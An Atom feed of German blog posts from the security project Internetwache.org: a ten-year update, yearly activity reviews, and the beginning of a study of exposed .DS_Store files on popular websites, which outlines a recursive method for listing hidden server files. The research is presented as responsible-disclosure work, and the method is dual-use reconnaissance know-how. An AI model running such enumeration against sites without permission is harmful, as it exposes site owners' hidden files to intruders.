<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

  <title><![CDATA[Internetwache - Für ein sicheres Internet]]></title>
  <link href="https://www.internetwache.org/atom.xml" rel="self"/>
  <link href="https://www.internetwache.org/"/>
  <updated>2023-04-15T13:35:18+02:00</updated>
  <id>https://www.internetwache.org/</id>
  <author>
    <name><![CDATA[Internetwache.org]]></name>
    
  </author>
  <generator uri="http://octopress.org/">Octopress</generator>

  
  <entry>
    <title type="html"><![CDATA[Update: 10 Jahre Internetwache.org]]></title>
    <link href="https://www.internetwache.org/update-10-jahre-internetwache-dot-org-15-04-2023/"/>
    <updated>2023-04-15T12:41:00+02:00</updated>
    <id>https://www.internetwache.org/update-10-jahre-internetwache-dot-org</id>
    <content type="html"><![CDATA[<p>Es folgt ein kleines Update zu dem 10. jährigen Bestehen des Projektes.</p>

<!-- more -->


<p>Die Domain für dieses Projekt wurde laut den WHOIS Daten am <code>2012-06-03T13:17:26Z</code> von Sebastian registriert, die Idee existierte allerdings schon vorher.</p>

<p>Somit feierte das Projekt letztes Jahr sein 10-jähriges Bestehen. Sebastian war damals kurz vor dem Abschluss des Abiturs, als das Projekt ins Leben gerufen wurde. 10 Jahre sind eine lange Zeit und so haben sich einige Dinge verändert.</p>

<p>Mittlerweile ist <a href="https://www.sebastian-neef.de/">Sebastian Doktorand an der TU-Berlin</a> im Bereich der IT-Sicherheit. Dort lehrt in diversen Veranstaltungen, betreut Abschlussarbeiten und veröffentlicht wissenschaftliche Arbeiten.</p>

<p>Während den 10 Jahren gab es darüber hinaus mehrere Personen, welche das Projekt zeitweilig unterstützt haben. Bei diesen Personen steht die Zeit ebenfalls nicht still und das jeweilige persönliche und berufliche Laufbahn entwickelt sich weiter, sodass das Projekt mittlerweile wieder nur von Sebastian weitergeführt wird. Dennoch möchten wir uns bei allen Beitragenden für Ihre Unterstützung bedanken.</p>

<p>Auch wenn es in der Vergangenheit und in Zukunft etwas leise um das Projekt geworden ist, so ist es weiterhin aktiv :-)</p>

<p>Viele Grüße
Sebastian</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Stand der Dinge 2021]]></title>
    <link href="https://www.internetwache.org/stand-der-dinge-2021-02-01-2021/"/>
    <updated>2021-01-02T00:12:00+01:00</updated>
    <id>https://www.internetwache.org/stand-der-dinge-2021</id>
    <content type="html"><![CDATA[<p>Es ist schon eine ganze Weile (Anfang 2019) her, dass wir etwas von uns hören lassen haben. Das liegt nicht daran, dass das Projekt &#8220;tot&#8221; ist, sondern dass wir die vergangene Zeit viel privat und beruflich zu erledigen hatten und zudem nicht zu jeder &#8220;Kleinigkeit&#8221; einen eigenen Blogpost verfasst haben.</p>

<p>Wer etwas genauer mitkriegen möchte was wir so tun, dem empfiehlt es sich regelmäßig unseren <a href="https://twitter.com/internetwache/">Twitteraccount (@internetwache)</a> oder unseren <a href="https://www.youtube.com/user/internetwacheorg">Youtube Kanal Internetwach.org</a> zu besuchen.</p>

<p>In diesem Blogpost wollen wir einen Einblick darin geben, was wir in den letzten 1-2 Jahren erlebt haben und zur Zeit tun.</p>

<!-- more -->


<h3>Konferenzen</h3>

<p>In den letzten Jahren waren wir, wie jedes Jahr seit 2013, auf dem <a href="https://de.wikipedia.org/wiki/Chaos_Communication_Congress">Chaos Communication Congress</a>. Früher haben wir zu <a href="https://en.internetwache.org/categories/events/">Talks und den Tagen auf dem Congress detailliert gebloggt</a>, mittlerweile nutzen wir die Zeit dort allerdings eher um alte Freunde und Bekannte zu treffen (die spannensten Talks schauen wir dort direkt oder <a href="https://media.ccc.de/">später im Stream</a>). In jedem Fall empfiehlt sich der Congress nachwievor.</p>

<h3>Persönliches</h3>

<p>Sebastian hat (vor Corona) einen Roadtrip durch die USA gemacht, um im Anschluss an der Montana State University (MSU) zu studieren und dort die letzten nötigen Credits zu sammeln, die er zum Abschluss des Masterstudiums benötigte. Nun schreibt er an seiner Masterarbeit zum Thema &#8220;Uncovering Fingerprinting Networks. An Analysis of In-Browser Tracking using a Behavior-based Approach&#8221;, in der es um das JavaScript-basierte Tracking (&#8220;fingerprinten&#8221;) von Internetnutzern geht - sehr spannend und die Abgabe ist für den April 2021 datiert. Nebenher ist Sebastian auf der Plattform &#8220;Detectify&#8221; aktiv geworden und hat sich dort <a href="https://cs.detectify.com/leaderboard">auf den 3. Platz gehackt</a>. Über seinen Werkstudentenjob hielt er Anfang 2020 einen Vortrag auf der &#8220;Hack-In-The-Box Conference&#8221; über <a href="https://conference.hitb.org/hitbsecconf2020ams/sessions/commsec-open-the-gates-the-insecurity-of-cloudless-smart-door-systems/">Hackbare Türsysteme</a>, für die er mehrere Root-Exploits entdeckte ( <a href="https://research.hisolutions.com/2020/04/open-the-gates-insecurity-of-cloudless-smart-door-systems/">5 CVEs hier</a> ). Außerdem hat er auf seinem Blog <a href="https://0day.work/">0day.work</a> einige Blogposts verfasst.</p>

<p>Tim ist ebenfalls noch in seinem Masterstudium aktiv. Mittlerweile lehrt er &#8220;IT-Security und Riskmanagement&#8221; als Modul an der Fachhochschule an dem er seinen Bachelor-Abschluss erhalten hat. In der Zwischenzeit hat er zudem eine Zertifizierung nach <a href="https://www.giac.org/certification/defending-advanced-threats-gdat">GIAC Defending Advanced Threats (GDAT)</a> abgeschlossen und einige spannende Projekte im Bereich Penetrationstesting und Incident Response durchgeführt. Desweiteren hat er Sicherheitslücken in einer primär in Deutschland eingesetzten SCADA Software ausmachen können (CVE-2020-35770, CVE-2020-35771), welche derzeit allerdings noch nicht öffentlich einsehbar sind.</p>

<p>Das Internetwache.org Projekt war im Jahr 2019 und 2020 unter anderem in folgenden Themen und Beiträgen aktiv:</p>

<ul>
<li>Film-Beitrag im SWR <a href="https://www.swr.de/report/gefahr-von-hackerangriffen-grossteil-deutscher-stromversorger-muss-keine-hohen-it-sicherheitsstandards-erfuellen/-/id=233454/did=25301342/nid=233454/1rcmq7/index.html">&#8220;Wie sicher ist die kritische Infrastruktur in Deutschland?&#8221;</a></li>
<li>Film-Beitrag in der Tagessschau <a href="https://www.tagesschau.de/investigativ/report-mainz/hacker-infrastruktur-101.html?fbclid=IwAR0TZZK_KEt_4rlsBldqWUkow_x9vDKeX6nONqZ5OIkvKV5KzI-6nObO4_U">&#8220;Hacken leicht gemacht&#8221;</a></li>
<li>Artikel in ZEIT-ONLINE <a href="https://www.zeit.de/2020/28/datensicherheit-computer-server-deutschland-gefahr">&#8220;Durchs offene Fenster&#8221;</a></li>
<li>Film-Beitrag im ZDF <a href="https://www.zdf.de/dokumentation/planet-e/planet-e-blackout---angriff-auf-unser-stromnetz-100.html">&#8220;Blackout - Angriff auf unser Stromnetz&#8221;</a></li>
<li>Film-Beitrag im <a href="http://www.spiegel.de/video/spiegel-akademie-cyber-security-im-internet-of-things-video-99024013.html">Spiegel.de-Zertifikatskurs Cyber-Security im Internet of Things</a></li>
</ul>


<p>Da wir festgestellt haben, dass entsprechende Medienbeiträge nach einiger Zeit von den Seiten entfernt werden, sind wir dazu übergangen, diese auf unserem <a href="https://www.youtube.com/user/internetwacheorg">Youtube Kanal Internetwach.org</a> zu archivieren.</p>

<p>Wir hoffen, dass wir damit ein kleines Update geben konnten. Weitere Hacks und Beiträge sind für die kommende Zukunft geplant.</p>

<p>Das Internetwache.org Team</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Jahresrückblick 2018]]></title>
    <link href="https://www.internetwache.org/jahresruckblick-2018-07-01-2019/"/>
    <updated>2019-01-07T00:20:00+01:00</updated>
    <id>https://www.internetwache.org/jahresruckblick-2018</id>
    <content type="html"><![CDATA[<p>Wie auch in den letzten Jahren haben wir 2018 einiges erlebt und möchten unsere Erfahrungen gern in diesem Blogpost teilen.</p>

<!-- more -->


<p>Vorab: Leider haben wir immernoch weniger Bug Bounty Hunting gemacht, als in früheren Jahren. Auch auf dem Blog von Internetwache.org ist nicht so viel passiert wie geplant: Im letzten Jahr haben wir nur <a href="https://www.internetwache.org/analyse-der-ds-store-datei-in-den-alexa-top-1-millionen-12-03-2018/">einen Blogpost</a> veröffentlicht. Das hat mehrere Gründe: Zum einen sind wir sehr stark im Studium/Beruf eingebunden - zum anderen schreiben wir spannende Artikel seit einiger Zeit schon auf golem.de - mehr dazu etwas weiter unten.</p>

<p>In diesem Jahr haben wir aber mehr als in den Jahren an Meetings / Konferenzen teilgenommen und auch selbst einen Beitrag im Programm der ein oder anderen Veranstaltung geleistet. Internetwache.org ist zunehmend nicht mehr nur digital tätig, sondern auch in Diskussionsrunden oder auf Veranstaltungen anwesend.</p>

<h2>Veröffentlichungen / Medienberichterstattung</h2>

<h3>Artikel auf golem.de</h3>

<p>Wir haben unsere Zusammenarbeit der letzten Jahre auch dieses Jahr fortgesetzt und einige Artikel in Kooperation mit dem Technikportal veröffentlicht:</p>

<p>Im ersten Quartal des Jahres haben wir uns das <code>.DS_Store</code>-Dateiformat von Apple etwas genauer angeschaut bzw. dessen Verbreitung und Implikationen auf Webservern analysiert: <a href="https://www.golem.de/news/websicherheit-apple-datei-auf-webservern-verraet-verzeichnisinhalte-1803-133319.html">Artikel auf Golem</a>
Dazu haben wir auch eine <a href="https://www.internetwache.org/analyse-der-ds-store-datei-in-den-alexa-top-1-millionen-12-03-2018/">Analyse der Alexa Top 1M auf Internetwache.org</a> publiziert und <a href="https://0day.work/parsing-the-ds_store-file-format/">Sebastian hat auf seinem Blog einige Details zu dem Dateiformat</a> vorgestellt.</p>

<p>Im April sind wir auf die unsichere Steuerungsanlage einer Gondelbahn in Österreich aufmerksam geworden und haben den Fund an das CERT aus Österreich gemeldet. Einige Zeit später wurde der Fall in verschiedenen Medien aufgegriffen: <a href="https://www.golem.de/news/patscherkofel-gondelbahn-mit-sicherheitsluecken-1804-133930.html">Artikel auf Golem</a></p>

<p>Bei einer unserer Reisen durch Deutschland, konnten wir am Flughafen München einen Drucker vom Zoll im öffentlichen WLAN ausfindig machen. Das hatte einige Implikationen für die IT-Sicherheit, die wir in folgendem Beitrag beschrieben haben <a href="https://www.golem.de/news/flughafen-muenchen-multifunktionsdrucker-des-zolls-ungeschuetzt-im-netz-1807-135744.html">Artikel auf Golem</a></p>

<p>Das Jahr haben wir mit einer Untersuchung einer (SCADA-)Software von Klär- und Wasserwerken abgeschlossen. Da wir das Thema nicht im IT-Sicherheitsmeldungstrubel des 35c3 veröffentlichen wollten und es auch nicht erst 2019 veröfffentlichen wollten, gab es eine Veröffentlichtung kurz vor Weihnachten. Letzteres ist der Grund, weshalb diese recht intensive Untersuchung vermutlich kaum in anderen Medien aufgenommen wurde: <a href="https://www.golem.de/news/schwachstellen-aufgedeckt-per-weblogin-ins-klaerwerk-1812-138363.html">Artikel auf Golem</a></p>

<h3>Weitere Medienberichte:</h3>

<p>Da wir im letzten Jahr beim Z2X einen der vorderen Plätze erreicht haben wurden wir fast ein Jahr später von dem <a href="https://www.fluxfm.de/z2x-festival-2018/">Radiosender FluxFM interviewt</a>, um die Community über den Status unseres Projektes auf dem neusten Stand zu halten.</p>

<h3>Datenökonomie Debatte</h3>

<p>Darüber hinaus haben wir an einer <a href="https://www.qiio.de/big-big-data-debatte-datenoekonomie">Big Data Debatte</a> teilgenommen.</p>

<h3>ARD Morgenmagazin</h3>

<p>Anlässlich des Stadtwerke Kongresses gab es einen <a href="https://twitter.com/ardmoma/status/1041936717740232705">Beitrag im ARD Morgenmagazin</a> zu unserer Nachforschung im Bereich Klär- und Wasserwerke.</p>

<p>Die Themen aus den oben angeführten Golem.de Berichten wurden von diversen anderen (teils fremdsprachigen) Medien aufgegriffen, die wir hier einmal kurz verlinken.</p>

<ul>
<li><a href="https://futurezone.at/digital-life/steuerung-von-tiroler-seilbahn-offen-im-netz-zugaenglich/400022290">Futurezone.at - Steuerung von Tiroler Seilbahn offen im Netz zugänglich</a></li>
<li><a href="https://www.krone.at/1695833">krone.at - Seilbahn-Steuerung frei übers Internet zugänglich</a></li>
<li><a href="https://live.derstandard.at/2000078303870/Hacker-Hatten-Zugriff-auf-Steuerung-von-Tiroler-Gondelbahn">Det Standard - Hacker hatten Zugriff auf Steuerung von Tiroler Gondelbahn</a></li>
<li><a href="https://www.bleepingcomputer.com/news/security/ski-lift-in-austria-left-control-panel-open-on-the-internet/">Bleedingcomputer.com - Ski Lift in Austria Left Control Panel Open on the Internet</a></li>
<li><a href="https://www.ilsoftware.it/articoli.asp?tag=Il-pannello-di-controllo-di-un-impianto-sciistico-in-Austria-gestibile-da-chiunque-via-Internet_17277">IlSoftware.it - Il pannello di controllo di un impianto sciistico in Austria gestibile da chiunque via Internet</a></li>
<li><a href="https://www.digi.no/artikler/kontrollpanelet-til-taubane-var-apent-tilgjengelig-via-internett/436120">Websikkerhet - Kontrollpanelet til taubane var åpent tilgjengelig via internett</a></li>
<li><a href="https://gi.de/meldung/mehr-anstrengung-zur-absicherung-sicherheitskritischer-infrastrukturen-notwendig/">Gesellschaft für Informatik - Mehr Anstrengung zur Absicherung sicherheitskritischer Infrastrukturen notwendig</a></li>
</ul>


<h2>Konferenzen und Vorträge</h2>

<p>Wir haben in 2018 an einigen Konferenzen teilgenommen. So waren wir in diesem Jahr beispielsweise auf der DEF CON in Las Vegas (USA) und haben dort zum einen jede Menge Personen getroffen, die wir normalerweise nur von (Twitter)[https://twitter.com/internetwache] kennen. Hier geben wir einen kurzen Überblick zu den Events auf denen wir waren.</p>

<h3>#SecNightBerlin</h3>

<p>Wir wurden gefragt, ob wir an der #SecNightBerlin teilnehmen möchten und haben dort einen Vortrag zum Thema Bug Bounty Programme gehalten. Leider gibt es von dem Event keine Videoaufnahme.</p>

<ul>
<li><a href="https://www.meetup.com/Berlin-Information-Security-Meetup/events/250068975/">Programm/Meetup.com Link</a></li>
<li><a href="https://uploads.internetwache.org/slides/infosec-meetup-berlin-2018-05-07.pdf">Folien</a></li>
<li><a href="https://twitter.com/maltewirz/status/993554837181751306">Foto</a></li>
</ul>


<h3>LevelUp Bugcrowd</h3>

<p>Bugcrowd organsiert seit einiger Zeit die virtuelle LevelUp Konferenz bei der Security Researcher und Bug Hunter aus der ganzen Welt sich in einem Livestream über Web- und Applikationssicherheit austauschen. In diesem Jahr haben wir dort auch einen 20-minütigen Vortrag mit dem Titel <a href="https://www.youtube.com/watch?v=pzH-gytUWWI">&#8220;Small Files And Big Bounties, Exploiting Sensitive Files&#8221;</a> halten.</p>

<h3>Code&amp;Design Camp</h3>

<p>Auf dem Code&amp;Design Camp in Hannover hielten wir vor jungen Nachwuchsprogrammierern und -hackern einen Vortrag zu unserem Internetwache.org Projekt und wie wir damals den Einstieg in das Thema IT-Sicherheit und Hacking gefunden haben. Das Feedback war durchaus positiv und wir hoffen, den Nachwuchs für Responsible Disclosure begeistert haben zu können: <a href="https://uploads.internetwache.org/slides/code-design-camp-hannover-2018-08-04.pdf">Folien</a></p>

<h3>SAPInsideTrack</h3>

<p>Der SAPInsideTrack ist eine kleine Konferenz von SAP die in verschiedenen Städten stattfindet. Wir durften am InsideTrack in Berlin teilnehmen und unser Wissen zu Responsible Disclosure und Bug Bounties teilen: <a href="https://uploads.internetwache.org/slides/sitberlin-handling-security-bugs-with-responsible-disclosure-and-bug-bounty-programs-2018-09-01.pdf">Folien</a></p>

<h3>Z2X</h3>

<p>Auf dem von Zeit Online organisierten Festival für alle 2X-jährige &#8220;Z2X&#8221; hielten wir gemeinsam mit Viktor und Tine einen Workshop zum Thema &#8220;5 Jahre nach Snowden: Privatsphäre und digitale Selbstverteidigung&#8221;. Der Raum war gut gefüllt und am Ende entstanden spannende Diskussionen zu verschiedenen Themen im Bereich der Privatsphäre und IT-Sicherheit.</p>

<h3>code.talks</h3>

<p>Die größte Entwicklerkonferenz Deutschlands, &#8220;code.talks&#8221;, in Hamburg bot uns eine Bühne um den Entwicklern von Bug Bounty Programmen und Responsible Disclosure Programmen zu erzählen, und warum diese wichtig sind.
Der Talk wurde aufgezeichnet und kann <a href="https://www.youtube.com/watch?v=KK2-7h0QBgY">auf Youtube geschaut werden</a>.</p>

<p>Wir haben uns bewusst entschieden diesen Vortrag auf Deutsch zu halten, da es unserer Meinung nach in Deutschland immernoch zu wenig Informationen zu dem Thema gibt und kaum ein Unternehmen in Deutschland ein Bug Bounty Programm hat.</p>

<h3>BlackHat</h3>

<p>Kurz vor der DEF CON fand die BlackHat ebenso in Las Vegas statt. Sebastian erhielt dorthin freien Eintritt, weil Speaker ein bis zwei Nachwuchsstudenten ein entsprechendes Ticket vergeben können. Insgesamt ist die BlackHat eher eine Business-Konferenz, in der verschiedene Security-Unternehmen ihre Produkte anpreisen, haufenweise Swag verteilen und nebenbei in einigen Sälen interessante Vorträge gehalten.</p>

<h3>DEF CON</h3>

<p>In diesem Jahr haben wir uns einen großen Traum erfüllt und waren auf dem weltgrößten Hackercongress: der DEFCON in Las Vegas (USA). Für uns war das Ambiente und die Ausmaße etwas ungewohnt - trotzdem haben uns nach einiger Eingewöhnungszeit wohl gefühlt. Außerdem haben wir mit dem deutschen Team <a href="https://twitter.com/Sauercl0ud">@Sauercl0ud</a> am DEF CON CTF teilgenommen. Insgesamt ist das Team auf dem 5. Platz gelandet - womit wir sehr zufrieden waren.</p>

<p>In unserem CTF Team war auch <a href="https://twitter.com/LiveOverflow">@LiveOverflow</a> der einige (aus unserer Sicht treffende) Videos zur DEF CON und dem DEF CON CTF gemacht hat:</p>

<ul>
<li><a href="https://www.youtube.com/watch?v=RXgp4cDbiq4">DEF CON CTF Video</a></li>
<li><a href="https://www.youtube.com/watch?v=B8saYocsI-U">Las Vegas: BlackHat, DEF CON, etc</a></li>
</ul>


<h3>H1-702</h3>

<p>Zeitgleich zur DEF CON fand auch die H1-702 von HackerOne statt. Dabei handelt es sich um ein Veranstaltungsformat bei dem die besten Hacker von der Plattform HackerOne zusammenkommen und gezielt bei verschiedenen Programmen nach Sicherheitslücken suchen. Insgesamt war auch das eine sehr spannende Erfahrung, da man in direkten Austausch mit anderen Security Researchern gekommen ist und einige Tricks aus erster Hand lernen konnte.</p>

<h3>35c3</h3>

<p>Wie in den letzten Jahren waren wir auch auf dem 35c3. Dort haben wir zum einen ein paar Sticker verteilt und zum spannende Gespräche mit Leuten geführt, die wir einige Zeit nicht mehr gesehen haben. Sebastian hat außerdem einige Challenges für das Junior CTF bereitgestellt. Insgesamt war das für uns, wie jedes Jahr, ein angenehmer Jahresabschluss.
Wer selbst nicht dort war, kann <a href="https://media.ccc.de/">die Streams anschauen</a> und eine Menge lernen.</p>

<h2>Persönliches</h2>

<p>Wie auch die letzten Jahre möchten wir kurz unsere persönlichen Erfolge und (erreichten) Ziele vorstellen.</p>

<h3>Sebastian</h3>

<p>Sebastian (<a href="https://twitter.com/gehaxelt">@gehaxelt</a>) ist 2018 endlich richtig mit seinem Masterstudium &#8220;Computer Science&#8221; an der TU Berlin angefangen und hat die bisherigen Module mit sehr guten Noten abgeschlossen.</p>

<p>Im Februar bis März war Sebastian auf dem von <a href="https://hack-the-beach.com/">Security Research Labs organisierten HackTheBeach Event</a>, bei dem er sich die vier Wochen lang auf Teneriffa mit mobilen Ticketsystemen auseinander setzte. Es gab einige interessante Funde, die allerdings bisher noch unter Verschluss sind und von dem/den Hersteller(n) behoben werden.</p>

<p>Im November hat Sebastian sich über die Universität für ein Auslandssemester in den USA beworben und erhielt Anfang Dezember auch eine Zusage seitens der TU. Mit etwas Glück, wird er kommendes Jahr für 4 Monate in den USA studieren dürfen.</p>

<h3>Tim</h3>

<p>Tim (<a href="https://twitter,com/TimPhSchaefers">@TimPhSchaefers</a>) hat in diesem Jahr das Buch <a href="http://amzn.to/2E6FeqS">&#8220;WLAN Hacking&#8221;</a> (gemeinsam mit <a href="https://twitter.com/Rico_Walde">Rico Walde</a>) veröffentlicht.</p>

<p>Außerdem hat er sein erstes Buch <a href="http://hacking-im-web.de/">&#8220;Hacking im Web&#8221;</a> in die zweite Auflage gebracht.</p>

<p>Des Weiteren ist Tim nun an der Humboldt-Universität zu Berlin eingeschrieben und studiert dort Informatik.</p>

<h2>2018 in Zahlen</h2>

<p>In 2018 haben wir fast die 3.000 Follower auf Twitter geknackt. Insgesamt hatten wir Ende des Jahres rund 2.960 Follower auf unserem <a href="https://twitter.com/internetwache">Twitter Account @internetwache</a> gehabt. Die Besucherzahlen (24.606) und Seitenansichten (37.071) sind in 2018 im <a href="https://www.internetwache.org/jahresruckblick-auf-2017-slash-ausblick-2018-06-01-2018/">Gegensatz zum Vorjahr</a> deutlich zurückgegangen. Letzteres ist vermutlich auf die wenigen Blogposts in diesem Jahr und einen verstärkten Fokus auf Vorträge und Konferenzen, sowie die Zusammenarbeit mit golem.de, zurückzuführen. Dass die Zahlen an der Stelle rückläufig sind finden wir nicht weiter schlimm, da wir über andere Kanäle viele Menschen erreichen können und uns die Wirkung von Internetwache.org wichtiger ist, als einen bekannten Blog zu betreiben.</p>

<h2>Fazit</h2>

<p>Insgesamt sind wir sehr zufrieden mit 2018 und hoffen, dass es 2019 so weitergeht. Die Arbeit von Internetwache.org hat sich mittlerweile mehr auf längerfristigen Research ausgedehnt und findet verstärkt nicht mehr nur im Internet, sondern auch auf Events statt.</p>

<p>Wir wünschen euch ein erfolgreiches Jahr 2019!</p>

<p>Tim &amp; Sebastian
Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Analyse der .DS_Store-Datei in den Alexa Top 1 Millionen]]></title>
    <link href="https://www.internetwache.org/analyse-der-ds-store-datei-in-den-alexa-top-1-millionen-12-03-2018/"/>
    <updated>2018-03-12T12:26:00+01:00</updated>
    <id>https://www.internetwache.org/analyse-der-ds-store-datei-in-den-alexa-top-1-millionen</id>
    <content type="html"><![CDATA[<p>Einige Leser werden sich sicherlich noch an unsere <a href="https://www.internetwache.org/wie-ungeschutzte-git-repositorys-die-sicherheit-ihrer-webseite-gefahrden-eine-analyse-der-alexa-1m-28-07-2015/">Analyse der .git-Verzeichnisse in den Alexa Top 1 Millionen</a> erinnern. Mit Hilfe unserer Tools kann man auch verborgen geglaubte Verzeichnisse (ohne Directory-Listing) auslesen und analysieren. Einen ähnlichen Ansatz haben wir nun für die .DS_Store-Datei entwickelt und wollen das Vorgehen und die Gefahren in diesem Blogpost vorstellen und aufzeigen, wie wir mit dieser Methode an sensitive Dateien hätten gelangen können. Darüber hinaus erläutern wir mögliche Schutzmaßnahmen.</p>

<!-- more -->


<h1>Was ist die &#8220;.DS_Store-Datei&#8221;?</h1>

<p>Beschäftigen wir uns also zunächst einmal mit der Datei &#8220;.DS_Store&#8221;. Einigen Personen wird diese sicherlich bekannt sein, wenn man einem Apple-Nutzer den USB-Stick ausgeliehen hat, denn betrachtet man den Inhalt des Sticks anschließend auf einem Windows-System oder einem Linux System, dann findet man dort, unter anderem meist eine Datei mit dem Namen &#8220;.DS_Store&#8221;. Der Dateiname steht für &#8220;Desktop Services Store&#8221; und in dieser Datei werden Informationen über die in einem Ordner enthaltenen Dateien und deren Anzeigeoptionen gespeichert, etwa die Position der Datei oder Kommentare zur Datei. Unter Mac-OS basierenden Betriebssystemen erstellt der &#8220;Finder&#8221; diese Datei automatisch, sie enthält zur Verwaltung der Dateien ihre Namen. Um die Datei vor dem Nutzer zu verstecken, wird wie bei vielen *NIX-ähnlichen Betriebssystemen ein Punkt dem Dateinamen vorangestellt. Das Format dieser Datei ist propäritär und wurde von Apple selbst entwickelt. Folglich werden die Dateien auch standardmäßig nur von Apple Geräten interpretiert. In dem <a href="http://arno.org/arnotify/2006/10/on-the-origins-of-ds_store/">Blogpost &#8220;The origins of .DS_Store&#8221; aus dem Jahre 2006</a> von einem der Erfinder der &#8220;.DS_Store&#8221;-Datei beschreibt dieser, dass er nachträglich einen anderen Namen wählen würde und zudem die Verbreitung der Datei massiver ist, als ursprünglich geplant. So kommt es laut seiner Aussage dazu, dass die Datei erstellt wird, sobald man einen Ordner betrachtet - geplant sei allerdings gewesen, dass die Datei nur erstellt werden soll, sofern die Ordneransicht geändert wird. Bis heute findet sich die Datei auf zahlreichen Festplatten.
Nun könnte man glauben, dass diese Datei harmlos sei und bloß ein Abfallprodukt von der Nutzung durch einen Apple Rechner. Betrachtet man eine &#8220;.DS_Store&#8221;-Datei in einem Editor, so scheint zunächst auch nichts spannendes mit ihr möglich zu sein:</p>

<p><a rel="fancybox"href="/images/posts/ds_store.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/ds_store.png" alt="Eine .DS_Store Datei in einem Texteditor geöffnet" title="Eine .DS_Store Datei in einem Texteditor geöffnet" /></a></p>

<p>Wie einigen bekannt oder aufgefallen sein wird, handelt es sich um eine Binärdatei. Weil eine detaillierte Beschreibung des Dateiformats für diesen Blogpost zu umfangreich wäre, hat <a href="https://0day.work/parsing-the-ds_store-file-format/">Sebastian auf seinem Blog einen einzelnen Blogpost</a> dazu geschrieben.</p>

<h1>Wieso kann die Datei zu einem Problem werden?</h1>

<p>Diese Datei kann zu einem Sicherheitsproblem werden, wenn diese vom lokalen Dateisystem eines Nutzers in andere Hände fallen. Beispielsweise durch einen Upload einer Webseite vom Entwicklersystemauf einen Webserver. Gelangt ein Angreifer an diese Datei, weil der Webserver den Download nicht verhindert und zuvor ein Upload stattgefunden hat, so kann er gegebenenfalls Rückschlüsse auf weitere auf dem Server vorhandene Dateien ziehen. Wir wollten wissen, ob sich diese Methode tatsächlich so leicht umsetzen lässt wie gedacht, haben deshalb einige Nachforschungen betrieben und möchten unsere Beobachtungen im Folgenden schildern.</p>

<p>Als Grundlage für unsere Untersuchung, nahmen wir einen Export der <a href="http://s3.amazonaws.com/alexa-static/top-1m.csv.zip">Alexa Top 1 Millionen Webseiten</a>. Sollten wir die .DS_Store Datei auf diesen Webseiten finden können, so wären einige der weltweit meistbesuchten Webseiten potentiell gefährdet. Basierend auf Sebastians <a href="https://github.com/gehaxelt/ds_store/blob/master/ds_store.go">Bibliothek zum Parsen der Datei</a> in der Sprache &#8220;Go&#8221;, entwickelte er ein Tool, um die Existenz der Datei auf dem Server zu prüfen. Während dem letzten Hackercongress (34C3) in Leipzig nutzen wir dort die schnelle Internetanbindung, um innerhalb der vier Tage des Kongresses alle Webseiten auf diese Schwachstelle hin zu untersuchen.</p>

<h1>Das Vorgehen</h1>

<p>Dabei ging das Tool wie folgt vor:</p>

<ul>
<li>HTTP GET-Anfrage von http://domain.tld/.DS_Store</li>
<li>Parsen der Datei und Extrahieren von Dateinamen</li>
<li>Im rekursiven Modus: Prüfung, ob der Dateiname ein Ordner ist und ob in diesem Ordner wieder eine .DS_Store Datei abrufbar ist.</li>
<li>Für alle gefundenen Dateipfade: HTTP HEAD-Anfrage zur URL, um die  Abrufbarkeit festzustellen</li>
</ul>


<p>Den Scandurchlauf haben wir im rekursiven Modus durchgeführt, weil viele interessante Dateien häufig nicht auf der ersten Dateiebene liegen. Allerdings liegt in jedem Unterordner oft wieder eine .DS_Store-Datei, was einen tieferen Einblick in die Verzeichnisse ermöglicht.
Das Parsen der Dateien und die daraus resultierende Liste mit Dateinamen ermöglichte uns noch nicht die Aussage, ob diese Dateien auch wirklich auf dem Webserver existieren und potentiell heruntergeladen werden können. Wir erinnern uns - die Informationen aus der .DS_Store Datei beziehen sich auf die lokale Umgebung des Mac-Betriebsystems. Um der Frage, ob die Dateien auch online wiederzufinden sind, auf den Grund zu gehen,  wurde zu jeder gefundenen Datei eine HEAD-Anfrage geschickt. Mit diesem HTTP-Anfragentyp schickt der Webserver nur die Header der Antwort zurück, jedoch nicht den Inhalt der Datei. Zwar ist diese Methode nicht perfekt, weil manche Webserver statt HTTP-Antwort &#8220;Nicht gefunden&#8221; (404) auch &#8220;OK&#8221; (200) zurückgeben, oder die HEAD-Anfragemethode deaktiviert ist, aber so kann man uns später nicht vorhalten, dass wir auf sensitive Inhalte zugegriffen hätten. Bei einem Antwortstatuscode von 200 nahmen wir die Existenz der Datei an und darauf basieren die folgenden Ergebnisse, wenn nicht anders angegeben.</p>

<h1>Die Ergebnisse</h1>

<p>Die Ergebnisse haben wir in Log-Dateien festgehalten. Von 1 Millionen abgescannten URLs haben circa 10000 Domains eine &#8220;.DS_Store&#8221;-Datei zum Download angeboten. Zunächst waren wir etwas enttäuscht, da wir von einer etwas größeren Verbreitung ausgegangen sind, allerdings stellte sich heraus, dass wir auch mit dem vorliegenden Datensatz einige interessante Rückschlüsse ziehen konnten. Einige Funde sind uns möglicherweise entgangen, weil der Parser nicht alle Dateien erfolgreich auslesen konnte. Insgesamt enthielt unsere Logdatei 1185671 gefundene URLs (auf Grund der angewandten Rekursion), die sich durch die Analyse der .DS_Store Dateien ergab.</p>

<p>Die HTTP-Antwortstatuscodes der HEAD-Anfragen verteilen sich wie folg:</p>

<p><a rel="fancybox"href="/images/posts/ds_status.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/ds_status.png" alt="Diagramm mit der Verteilung der Statuscodes" title="Diagramm mit der Verteilung der Statuscodes" /></a></p>

<p>Ein Großteil der gefundenen Dateien war potentiell abrufbar. Bei etwas mehr als 21000 URLs konnte der Status nicht ermittelt werden. Die verbleibenden Statuscodes deuten eher daraufhin, dass die Dateien nicht abrufbar (403 - Forbidden) oder nicht mehr vorhanden (404 - not found) waren. Die Häufigkeit einer gefundenen Datei war nicht gleichverteilt, sondern einige größere Webseiten schienen in vielen Verzeichnissen die .DS_Store Datei zu haben. Wenn ein Administrator oder ein Entwicklerteam die .DS_Store also &#8220;vergessen&#8221; hatte, so ist dies gleich mehrfach geschehen, was teilweise eine weitreichende Einsicht in die Inhalte von Webserververzeichnisse ermöglicht. In der folgenden Auflistung sieht man die Top 10 der Funde pro Domain (diese wurden hier aus Gründen der Sicherheit anonymisiert):</p>

